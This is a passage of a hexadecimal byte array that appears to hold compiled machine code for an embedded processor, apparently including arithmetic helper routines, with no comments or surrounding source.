0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x11, 0x2b, 0x58, 0x00,
0x81, 0x03, 0x40, 0x00,
0x10, 0xc4, 0x00, 0x00,
0x10, 0xe5, 0x00, 0x00,
0x11, 0x48, 0x00, 0x00,
0xaa, 0x4c, 0x00, 0x3d,
0xbe, 0x12, 0x00, 0x40,
0x11, 0x69, 0x00, 0x00,
0xb0, 0x00, 0x80, 0x00,
0x60, 0x66, 0x00, 0x00,
0x16, 0x56, 0x50, 0x03,
0xbe, 0x52, 0xff, 0x48,
0x31, 0x8c, 0x00, 0x01,
0x16, 0x4a, 0xb0, 0x00,
0xbc, 0x32, 0xff, 0x2c,
0x16, 0x57, 0x58, 0x03,
0xbe, 0x52, 0xff, 0x38,
0x90, 0xa7, 0x00, 0x41,
0xb8, 0x00, 0xff, 0x1c,
0xf8, 0x61, 0x00, 0x2c,
0xb8, 0x10, 0xfe, 0x7c,
0x10, 0xb3, 0x00, 0x00,
0x30, 0x80, 0x00, 0x00,
0x30, 0xa0, 0x00, 0xff,
0x84, 0x98, 0x20, 0x00,
0xbe, 0x24, 0x00, 0x10,
0x84, 0xb9, 0x28, 0x00,
0xaa, 0x45, 0x00, 0x80,
0xbc, 0x12, 0x00, 0xb8,
0xfb, 0x01, 0x00, 0x38,
0xfb, 0x21, 0x00, 0x3c,
0xb8, 0x10, 0xfe, 0x50,
0x10, 0xb3, 0x00, 0x00,
0x16, 0x57, 0x58, 0x03,
0xbc, 0xb2, 0xfe, 0xc0,
0x10, 0x8a, 0x50, 0x00,
0x90, 0x6b, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x10, 0xab, 0x58, 0x00,
0x80, 0x83, 0x20, 0x00,
0x11, 0x44, 0x00, 0x00,
0x30, 0xc6, 0xff, 0xff,
0xf8, 0xc1, 0x00, 0x34,
0xb8, 0x10, 0xfe, 0x28,
0x11, 0x65, 0x00, 0x00,
0x30, 0x80, 0x00, 0x00,
0x30, 0xa0, 0x01, 0x00,
0x84, 0x98, 0x20, 0x00,
0x84, 0xb9, 0x28, 0x00,
0x80, 0x84, 0x28, 0x00,
0xbe, 0x24, 0xff, 0x38,
0x80, 0x68, 0x48, 0x00,
0xbc, 0x03, 0xff, 0x30,
0x20, 0xf9, 0x00, 0x80,
0x08, 0xd8, 0x00, 0x00,
0x30, 0x80, 0xff, 0xff,
0x30, 0xa0, 0xff, 0x00,
0x87, 0x06, 0x20, 0x00,
0xb8, 0x10, 0xff, 0x18,
0x87, 0x27, 0x28, 0x00,
0x30, 0x21, 0xff, 0x9c,
0xfb, 0x01, 0x00, 0x60,
0x33, 0x01, 0x00, 0x2c,
0x11, 0x45, 0x00, 0x00,
0x11, 0x66, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x58,
0xfa, 0xe1, 0x00, 0x5c,
0x12, 0xc7, 0x00, 0x00,
0x12, 0xe8, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x54,
0x30, 0xa1, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xf9, 0x41, 0x00, 0x1c,
0xf9, 0x61, 0x00, 0x20,
0xfa, 0xc1, 0x00, 0x24,
0xfa, 0xe1, 0x00, 0x28,
0xb9, 0xf4, 0x0e, 0xb4,
0x32, 0x61, 0x00, 0x40,
0x10, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0x0e, 0xa8,
0x30, 0xa1, 0x00, 0x24,
0xe8, 0x61, 0x00, 0x2c,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x20,
0x30, 0x80, 0x00, 0x01,
0xe8, 0x61, 0x00, 0x40,
0x10, 0xb8, 0x00, 0x00,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x28,
0x10, 0xd3, 0x00, 0x00,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x54,
0xea, 0xc1, 0x00, 0x58,
0xea, 0xe1, 0x00, 0x5c,
0xeb, 0x01, 0x00, 0x60,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x64,
0xb9, 0xf4, 0x11, 0xb8,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xd8,
0x10, 0x83, 0x00, 0x00,
0x30, 0x21, 0xff, 0x9c,
0xfb, 0x01, 0x00, 0x60,
0x33, 0x01, 0x00, 0x2c,
0x11, 0x45, 0x00, 0x00,
0x11, 0x66, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x58,
0xfa, 0xe1, 0x00, 0x5c,
0x12, 0xc7, 0x00, 0x00,
0x12, 0xe8, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x54,
0x30, 0xa1, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xf9, 0x41, 0x00, 0x1c,
0xf9, 0x61, 0x00, 0x20,
0xfa, 0xc1, 0x00, 0x24,
0xfa, 0xe1, 0x00, 0x28,
0xb9, 0xf4, 0x0e, 0x00,
0x32, 0x61, 0x00, 0x40,
0x10, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0x0d, 0xf4,
0x30, 0xa1, 0x00, 0x24,
0xe8, 0x61, 0x00, 0x2c,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x20,
0x30, 0x80, 0x00, 0x01,
0xe8, 0x61, 0x00, 0x40,
0x10, 0xb8, 0x00, 0x00,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x28,
0x10, 0xd3, 0x00, 0x00,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x54,
0xea, 0xc1, 0x00, 0x58,
0xea, 0xe1, 0x00, 0x5c,
0xeb, 0x01, 0x00, 0x60,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x64,
0xb9, 0xf4, 0x11, 0x04,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xd8,
0x10, 0x83, 0x00, 0x00,
0x30, 0x21, 0xff, 0x9c,
0xfb, 0x01, 0x00, 0x60,
0x33, 0x01, 0x00, 0x2c,
0x11, 0x45, 0x00, 0x00,
0x11, 0x66, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x58,
0xfa, 0xe1, 0x00, 0x5c,
0x12, 0xc7, 0x00, 0x00,
0x12, 0xe8, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x54,
0x30, 0xa1, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xf9, 0x41, 0x00, 0x1c,
0xf9, 0x61, 0x00, 0x20,
0xfa, 0xc1, 0x00, 0x24,
0xfa, 0xe1, 0x00, 0x28,
0xb9, 0xf4, 0x0d, 0x4c,
0x32, 0x61, 0x00, 0x40,
0x10, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0x0d, 0x40,
0x30, 0xa1, 0x00, 0x24,
0xe8, 0x61, 0x00, 0x2c,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x28,
0x30, 0x80, 0xff, 0xff,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x54,
0xea, 0xc1, 0x00, 0x58,
0xea, 0xe1, 0x00, 0x5c,
0xeb, 0x01, 0x00, 0x60,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x64,
0xe8, 0x61, 0x00, 0x40,
0x10, 0xb8, 0x00, 0x00,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0xff, 0xd0,
0x10, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0x10, 0x50,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xc0,
0x10, 0x83, 0x00, 0x00,
0x30, 0x21, 0xff, 0x9c,
0xfb, 0x01, 0x00, 0x60,
0x33, 0x01, 0x00, 0x2c,
0x11, 0x45, 0x00, 0x00,
0x11, 0x66, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x58,
0xfa, 0xe1, 0x00, 0x5c,
0x12, 0xc7, 0x00, 0x00,
0x12, 0xe8, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x54,
0x30, 0xa1, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xf9, 0x41, 0x00, 0x1c,
0xf9, 0x61, 0x00, 0x20,
0xfa, 0xc1, 0x00, 0x24,
0xfa, 0xe1, 0x00, 0x28,
0xb9, 0xf4, 0x0c, 0x98,
0x32, 0x61, 0x00, 0x40,
0x10, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0x0c, 0x8c,
0x30, 0xa1, 0x00, 0x24,
0xe8, 0x61, 0x00, 0x2c,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x28,
0x30, 0x80, 0xff, 0xff,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x54,
0xea, 0xc1, 0x00, 0x58,
0xea, 0xe1, 0x00, 0x5c,
0xeb, 0x01, 0x00, 0x60,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x64,
0xe8, 0x61, 0x00, 0x40,
0x10, 0xb8, 0x00, 0x00,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0xff, 0xd0,
0x10, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0x0f, 0x9c,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xc0,
0x10, 0x83, 0x00, 0x00,
0x30, 0x21, 0xff, 0x9c,
0xfb, 0x01, 0x00, 0x60,
0x33, 0x01, 0x00, 0x2c,
0x11, 0x45, 0x00, 0x00,
0x11, 0x66, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x58,
0xfa, 0xe1, 0x00, 0x5c,
0x12, 0xc7, 0x00, 0x00,
0x12, 0xe8, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x54,
0x30, 0xa1, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xf9, 0x41, 0x00, 0x1c,
0xf9, 0x61, 0x00, 0x20,
0xfa, 0xc1, 0x00, 0x24,
0xfa, 0xe1, 0x00, 0x28,
0xb9, 0xf4, 0x0b, 0xe4,
0x32, 0x61, 0x00, 0x40,
0x10, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0x0b, 0xd8,
0x30, 0xa1, 0x00, 0x24,
0xe8, 0x61, 0x00, 0x2c,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x20,
0x30, 0x80, 0x00, 0x01,
0xe8, 0x61, 0x00, 0x40,
0x10, 0xb8, 0x00, 0x00,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x28,
0x10, 0xd3, 0x00, 0x00,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x54,
0xea, 0xc1, 0x00, 0x58,
0xea, 0xe1, 0x00, 0x5c,
0xeb, 0x01, 0x00, 0x60,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x64,
0xb9, 0xf4, 0x0e, 0xe8,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xd8,
0x10, 0x83, 0x00, 0x00,
0x30, 0x21, 0xff, 0xd0,
0x30, 0x60, 0x00, 0x03,
0xf9, 0xe1, 0x00, 0x00,
0xf8, 0x61, 0x00, 0x1c,
0xf8, 0x01, 0x00, 0x20,
0xbe, 0x45, 0x01, 0x78,
0x30, 0x60, 0x00, 0x01,
0xbe, 0x25, 0x00, 0x34,
0x31, 0x00, 0x00, 0x3c,
0x30, 0x60, 0x00, 0x02,
0xf8, 0x61, 0x00, 0x1c,
0xb9, 0xf4, 0x06, 0xb8,
0x30, 0xa1, 0x00, 0x1c,
0x10, 0xc3, 0x00, 0x00,
0x10, 0xe4, 0x00, 0x00,
0x10, 0x66, 0x00, 0x00,
0x10, 0x87, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x30,
0xe8, 0x61, 0x00, 0x20,
0xf9, 0x01, 0x00, 0x24,
0xbc, 0x03, 0x01, 0x10,
0xb0, 0x00, 0xc1, 0xe0,
0x30, 0xc0, 0x00, 0x00,
0x30, 0xe0, 0x00, 0x00,
0xb0, 0x00, 0x80, 0x00,
0xaa, 0x45, 0x00, 0x00,
0xbe, 0x12, 0xff, 0xcc,
0x14, 0x85, 0x00, 0x00,
0x00, 0xa0, 0x20, 0x00,
0x00, 0x85, 0x28, 0x00,
0x08, 0x80, 0x00, 0x00,
0xbc, 0x04, 0x00, 0x08,
0x20, 0x80, 0xff, 0xff,
0xf8, 0x81, 0x00, 0x28,
0xf8, 0xa1, 0x00, 0x2c,
0xe8, 0xc1, 0x00, 0x28,
0xe8, 0xe1, 0x00, 0x2c,
0xb0, 0x00, 0x0f, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x46, 0x90, 0x03,
0xbc, 0x52, 0xff, 0x84,
0xe9, 0x01, 0x00, 0x24,
0x10, 0x66, 0x30, 0x00,
0x10, 0xa7, 0x38, 0x00,
0x90, 0x87, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x80, 0x63, 0x20, 0x00,
0xf8, 0x61, 0x00, 0x28,
0xf8, 0xa1, 0x00, 0x2c,
0xe8, 0xc1, 0x00, 0x28,
0xe8, 0xe1, 0x00, 0x2c,
0x30, 0x68, 0xff, 0xff,
0xf8, 0x61, 0x00, 0x24,
0xb0, 0x00, 0x0f, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x46, 0x90, 0x03,
0xbe, 0xb2, 0xff, 0x54,
0x11, 0x03, 0x00, 0x00,
0xb8, 0x00, 0xfe, 0xc8,
0x10, 0x85, 0x00, 0x00,
0x00, 0xa0, 0x20, 0x00,
0x00, 0x85, 0x28, 0x00,
0x08, 0x80, 0x00, 0x00,
0xbc, 0x04, 0x00, 0x08,
0x20, 0x80, 0xff, 0xff,
0xf8, 0x81, 0x00, 0x28,
0xf8, 0xa1, 0x00, 0x2c,
0xb8, 0x00, 0xff, 0x0c,
0xf8, 0x61, 0x00, 0x20,
0xb8, 0x00, 0xfe, 0x8c,
0x11, 0x05, 0x00, 0x00,
0x11, 0x26, 0x00, 0x00,
0x30, 0x21, 0xff, 0xc8,
0x30, 0xa1, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xf9, 0x01, 0x00, 0x1c,
0xf9, 0x21, 0x00, 0x20,
0xb9, 0xf4, 0x09, 0xc4,
0x30, 0xc1, 0x00, 0x24,
0xe8, 0x61, 0x00, 0x24,
0xaa, 0x43, 0x00, 0x02,
0xbe, 0x12, 0x00, 0x3c,
0x10, 0x80, 0x00, 0x00,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x2c,
0xaa, 0x43, 0x00, 0x04,
0xbc, 0x32, 0x00, 0x34,
0xe8, 0x61, 0x00, 0x28,
0xb0, 0x00, 0x7f, 0xff,
0x30, 0x80, 0xff, 0xff,
0xbc, 0x03, 0x00, 0x14,
0xb0, 0x00, 0x80, 0x00,
0x30, 0x80, 0x00, 0x00,
0xb8, 0x10, 0x00, 0x0c,
0x10, 0x64, 0x00, 0x00,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x38,
0xe8, 0x61, 0x00, 0x2c,
0xbe, 0x43, 0xff, 0xec,
0x10, 0x80, 0x00, 0x00,
0x32, 0x40, 0x00, 0x1e,
0x16, 0x43, 0x90, 0x01,
0xbe, 0x52, 0xff, 0xbc,
0x34, 0xe3, 0x00, 0x3c,
0xa4, 0x67, 0x00, 0x20,
0xbe, 0x03, 0x00, 0x38,
0xa8, 0xa7, 0xff, 0xff,
0xe8, 0x61, 0x00, 0x30,
0xa6, 0x47, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x11, 0x23, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x91, 0x29, 0x00, 0x41,
0xe8, 0x61, 0x00, 0x28,
0xbe, 0x03, 0xff, 0xa8,
0x10, 0x89, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xa0,
0x14, 0x89, 0x00, 0x00,
0xe8, 0xc1, 0x00, 0x30,
0xe8, 0x81, 0x00, 0x34,
0x10, 0x66, 0x30, 0x00,
0xa6, 0x45, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x63, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x63, 0x18, 0x00,
0xa6, 0x47, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x11, 0x24, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x91, 0x29, 0x00, 0x41,
0xb8, 0x10, 0xff, 0xb0,
0x81, 0x23, 0x48, 0x00,
0x30, 0x21, 0xff, 0xf0,
0xfb, 0x81, 0x00, 0x00,
0xfb, 0xa1, 0x00, 0x04,
0xfb, 0xc1, 0x00, 0x08,
0xfb, 0xe1, 0x00, 0x0c,
0xbc, 0x06, 0x00, 0x68,
0xbc, 0x05, 0x00, 0x64,
0xbe, 0xa5, 0x00, 0x0c,
0x03, 0x85, 0x00, 0x00,
0x24, 0xa5, 0x00, 0x00,
0xbc, 0xa6, 0x00, 0x08,
0x24, 0xc6, 0x00, 0x00,
0x30, 0x60, 0x00, 0x00,
0x33, 0xc0, 0x00, 0x00,
0x33, 0xa0, 0x00, 0x20,
0x00, 0xa5, 0x28, 0x00,
0xbe, 0xa5, 0xff, 0xfc,
0x33, 0xbd, 0xff, 0xff,
0x00, 0xa5, 0x28, 0x00,
0x08, 0x63, 0x18, 0x00,
0x07, 0xe6, 0x18, 0x00,
0xbc, 0x5f, 0x00, 0x0c,
0x80, 0x60, 0xf8, 0x00,
0x33, 0xde, 0x00, 0x01,
0x33, 0xbd, 0xff, 0xff,
0xbc, 0x1d, 0x00, 0x0c,
0x03, 0xde, 0xf0, 0x00,
0xb8, 0x00, 0xff, 0xdc,
0xbc, 0xbc, 0x00, 0x10,
0xb8, 0x10, 0x00, 0x0c,
0x24, 0x63, 0x00, 0x00,
0x80, 0x60, 0x00, 0x00,
0xeb, 0x81, 0x00, 0x00,
0xeb, 0xa1, 0x00, 0x04,
0xeb, 0xc1, 0x00, 0x08,
0xeb, 0xe1, 0x00, 0x0c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x10,
0x30, 0x21, 0xff, 0xf4,
0xfb, 0xa1, 0x00, 0x00,
0xfb, 0xc1, 0x00, 0x04,
0xfb, 0xe1, 0x00, 0x08,
0xbc, 0x06, 0x00, 0x94,
0xbe, 0x05, 0x00, 0x90,
0x30, 0x60, 0x00, 0x00,
0x33, 0xc0, 0x00, 0x00,
0x33, 0xa0, 0x00, 0x20,
0x06, 0x45, 0x30, 0x00,
0xbc, 0x12, 0x00, 0x80,
0x8a, 0x45, 0x30, 0x00,
0xbe, 0xb2, 0x00, 0x10,
0x30, 0x65, 0x00, 0x00,
0xbc, 0x46, 0x00, 0x70,
0xb8, 0x00, 0x00, 0x0c,
0x06, 0x45, 0x30, 0x00,
0xbc, 0x92, 0x00, 0x64,
0xbe, 0x86, 0x00, 0x20,
0x30, 0x60, 0x00, 0x00,
0xb0, 0x00, 0x7f, 0xff,
0x32, 0x40, 0xff, 0xff,
0x84, 0xa5, 0x90, 0x00,
0x84, 0xc6, 0x90, 0x00,
0xb8, 0x10, 0x00, 0x48,
0x04, 0x66, 0x28, 0x00,
0xbc, 0x45, 0x00, 0x10,
0x00, 0xa5, 0x28, 0x00,
0xbe, 0xa5, 0xff, 0xfc,
0x33, 0xbd, 0xff, 0xff,
0x00, 0xa5, 0x28, 0x00,
0x08, 0x63, 0x18, 0x00,
0x07, 0xe6, 0x18, 0x00,
0xbc, 0x5f, 0x00, 0x0c,
0x80, 0x60, 0xf8, 0x00,
0x33, 0xde, 0x00, 0x01,
0x33, 0xbd, 0xff, 0xff,
0xbc, 0x1d, 0x00, 0x0c,
0x03, 0xde, 0xf0, 0x00,
0xb8, 0x00, 0xff, 0xdc,
0xb8, 0x00, 0x00, 0x08,
0x80, 0x60, 0x00, 0x00,
0xeb, 0xa1, 0x00, 0x00,
0xeb, 0xc1, 0x00, 0x04,
0xeb, 0xe1, 0x00, 0x08,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x0c,
0x30, 0x21, 0xff, 0xf0,
0xfb, 0x81, 0x00, 0x00,
0xfb, 0xa1, 0x00, 0x04,
0xfb, 0xc1, 0x00, 0x08,
0xfb, 0xe1, 0x00, 0x0c,
0xbc, 0x06, 0x00, 0x6c,
0xbc, 0x05, 0x00, 0x68,
0xbe, 0xa5, 0x00, 0x0c,
0x8b, 0x85, 0x30, 0x00,
0x24, 0xa5, 0x00, 0x00,
0xbc, 0xa6, 0x00, 0x08,
0x24, 0xc6, 0x00, 0x00,
0x33, 0xc0, 0x00, 0x00,
0x30, 0x60, 0x00, 0x00,
0x33, 0xa0, 0x00, 0x20,
0xbc, 0x45, 0x00, 0x10,
0x00, 0xa5, 0x28, 0x00,
0xbe, 0x85, 0xff, 0xfc,
0x33, 0xbd, 0xff, 0xff,
0x00, 0xa5, 0x28, 0x00,
0x0b, 0xde, 0xf0, 0x00,
0x07, 0xe6, 0xf0, 0x00,
0xbc, 0x5f, 0x00, 0x0c,
0x83, 0xc0, 0xf8, 0x00,
0x30, 0x63, 0x00, 0x01,
0x33, 0xbd, 0xff, 0xff,
0xbc, 0x1d, 0x00, 0x0c,
0x00, 0x63, 0x18, 0x00,
0xb8, 0x00, 0xff, 0xdc,
0xbc, 0xbc, 0x00, 0x10,
0xb8, 0x10, 0x00, 0x0c,
0x24, 0x63, 0x00, 0x00,
0x80, 0x60, 0x00, 0x00,
0xeb, 0x81, 0x00, 0x00,
0xeb, 0xa1, 0x00, 0x04,
0xeb, 0xc1, 0x00, 0x08,
0xeb, 0xe1, 0x00, 0x0c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x10,
0x30, 0x21, 0xff, 0xf4,
0xfb, 0xa1, 0x00, 0x00,
0xfb, 0xc1, 0x00, 0x04,
0xfb, 0xe1, 0x00, 0x08,
0xbc, 0x06, 0x00, 0x80,
0xbe, 0x05, 0x00, 0x7c,
0x33, 0xc0, 0x00, 0x00,
0x33, 0xa0, 0x00, 0x20,
0x06, 0x45, 0x30, 0x00,
0xbe, 0x12, 0x00, 0x70,
0x30, 0x60, 0x00, 0x01,
0x8a, 0x45, 0x30, 0x00,
0xbe, 0xb2, 0x00, 0x10,
0x00, 0x60, 0x00, 0x00,
0xbc, 0x46, 0x00, 0x5c,
0xb8, 0x00, 0x00, 0x0c,
0x06, 0x46, 0x28, 0x00,
0xbc, 0x52, 0x00, 0x50,
0xbc, 0x86, 0x00, 0x0c,
0xb8, 0x10, 0x00, 0x48,
0x30, 0x60, 0x00, 0x01,
0xbc, 0x45, 0x00, 0x10,
0x00, 0xa5, 0x28, 0x00,
0xbe, 0x85, 0xff, 0xfc,
0x33, 0xbd, 0xff, 0xff,
0x00, 0xa5, 0x28, 0x00,
0x0b, 0xde, 0xf0, 0x00,
0x07, 0xe6, 0xf0, 0x00,
0xbc, 0x5f, 0x00, 0x0c,
0x83, 0xc0, 0xf8, 0x00,
0x30, 0x63, 0x00, 0x01,
0x33, 0xbd, 0xff, 0xff,
0xbc, 0x1d, 0x00, 0x0c,
0x00, 0x63, 0x18, 0x00,
0xb8, 0x00, 0xff, 0xdc,
0xb8, 0x00, 0x00, 0x08,
0x80, 0x60, 0x00, 0x00,
0xeb, 0xa1, 0x00, 0x00,
0xeb, 0xc1, 0x00, 0x04,
0xeb, 0xe1, 0x00, 0x08,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x0c,
0x30, 0x21, 0xff, 0xec,
0xfa, 0xe1, 0x00, 0x08,
0x12, 0xe6, 0x00, 0x00,
0x11, 0x47, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0xe8, 0xff, 0xff,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x77, 0xff, 0xff,
0x11, 0x68, 0x00, 0x00,
0x91, 0x37, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x29, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
